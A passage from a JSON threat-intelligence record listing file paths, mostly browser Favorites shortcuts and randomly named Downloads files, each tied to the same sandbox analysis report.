ype":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\chinanews.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\clubpenguin.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\cnet.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\cnn.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\comcast.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\comcast.net.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\commentcamarche.net.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\cyworld.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\dailymotion.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\dangdang.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\dell.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\dianping.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\discoverbing.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\docin.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\douban.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\duowan.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\ebay.co.uk.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\ehow.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\exoplanetwar.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\facemoods.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\fedex.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\fileserve.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\filestube.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\flickr.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\foxsports.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\friv.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\funshion.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\geocities.jp.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\gmx.net.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\goo.ne.jp.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\google.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\gougou.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\groupon.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\guardian.co.uk.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\gyyx.cn.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\hao123.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\hatena.ne.jp.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\hi5.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\homedepot.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\hotels.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\hotfile.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\hp.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\huanqiu.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\huffingtonpost.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\hulu.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\iciba.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\iegallery.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\ifeng.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\imdb.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\imesh.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\iminent.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\in.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\inbox.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\indeed.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\java.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\joy.cn.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\juegos.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\kaixin001.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\kakaku.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\kugou.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\leboncoin.fr.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\linkedin.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\livedoor.jp.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\livejournal.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\livingsocial.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\lowes.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\manta.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\match.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\mediafire.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\megavideo.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\mercadolivre.com.br.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\metrolyrics.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\microsoft.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\microsofttranslator.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\miniclip.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\mlb.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\monster.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\moonbasa.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\mop.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\mozilla.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\mozilla.org.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\msn.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\mylife.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\nate.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\netflix.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\netlog.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\nhk.or.jp.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\nicovideo.jp.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\nk.pl.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\norton.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\ocn.ne.jp.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\okwave.jp.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\onet.pl.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\orange.fr.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\orkut.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\oyunlar1.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\pagesjaunes.fr.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\paipai.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\pandora.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\partycasino.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\partypoker.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\paypal.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\pconline.com.cn.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\photobucket.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\picnik.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\pog.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\pogo.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\pps.tv.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\pptv.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\qidian.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\qiyi.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\rakuten.co.jp.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\rapidshare.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\reuters.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\samsung.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\sdo.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\seesaa.net.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\shopathome.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\skycn.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\slideshare.net.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\softonic.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\sohu.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\soku.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\soso.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\soufun.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\southwest.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\sponichi.co.jp.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\Suggested Sites.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\surveymonkey.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\syyx.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\szgla.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\taleo.net.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\taobao.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\target.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\telegraph.co.uk.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\tenpay.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\tianya.cn.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\torrentz.eu.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\tripadvisor.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\tripod.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\tudou.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\twitter.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\typepad.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\uol.com.br.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\ups.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\verizon.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\verycd.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\vkontakte.ru.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\walmart.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\weather.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\Web Slice Gallery.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\web.de.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\wellsfargo.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\whitepages.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\wikia.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\wikimapia.org.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\wikimedia.org.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\wikipedia.org.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\windows.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\windowslivehelp.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\wn.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\wowan365.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\wp.pl.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\xdwan.cn.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\y8.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\yandex.ru.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\yellowpages.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\yelp.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\youdao.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\youku.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\yzz.cn.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\zhenai.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\zimbio.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\zing.vn.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\01dMtnkBz9.gif","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\READ__ME.html","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\04bZ.txt","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\07Y08HBp.txt","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\0cuxPf1k3pJ5.pdf","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\0gakl8ixtWMkw.doc","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\0Og1.rar","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\0pYWspjURe8aqA.exe","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\0zIG0D.doc","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\1N1A3vlRdYRii5C.mp3","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\1q4yvQVxByym4.rar","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\2Gd1Iqvl2kr.doc","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\2l36bsgulx.exe","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\3AVoUo9c20GI.pdf","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\3Awf.mp3","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\3bvjbrQlfgjI.img","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\3dfFyhzUJVQSk.img","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\3Fbc.doc","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\4lpro8p6KuJo0.mp3","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Downloads\\4nAn3p.mp3","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca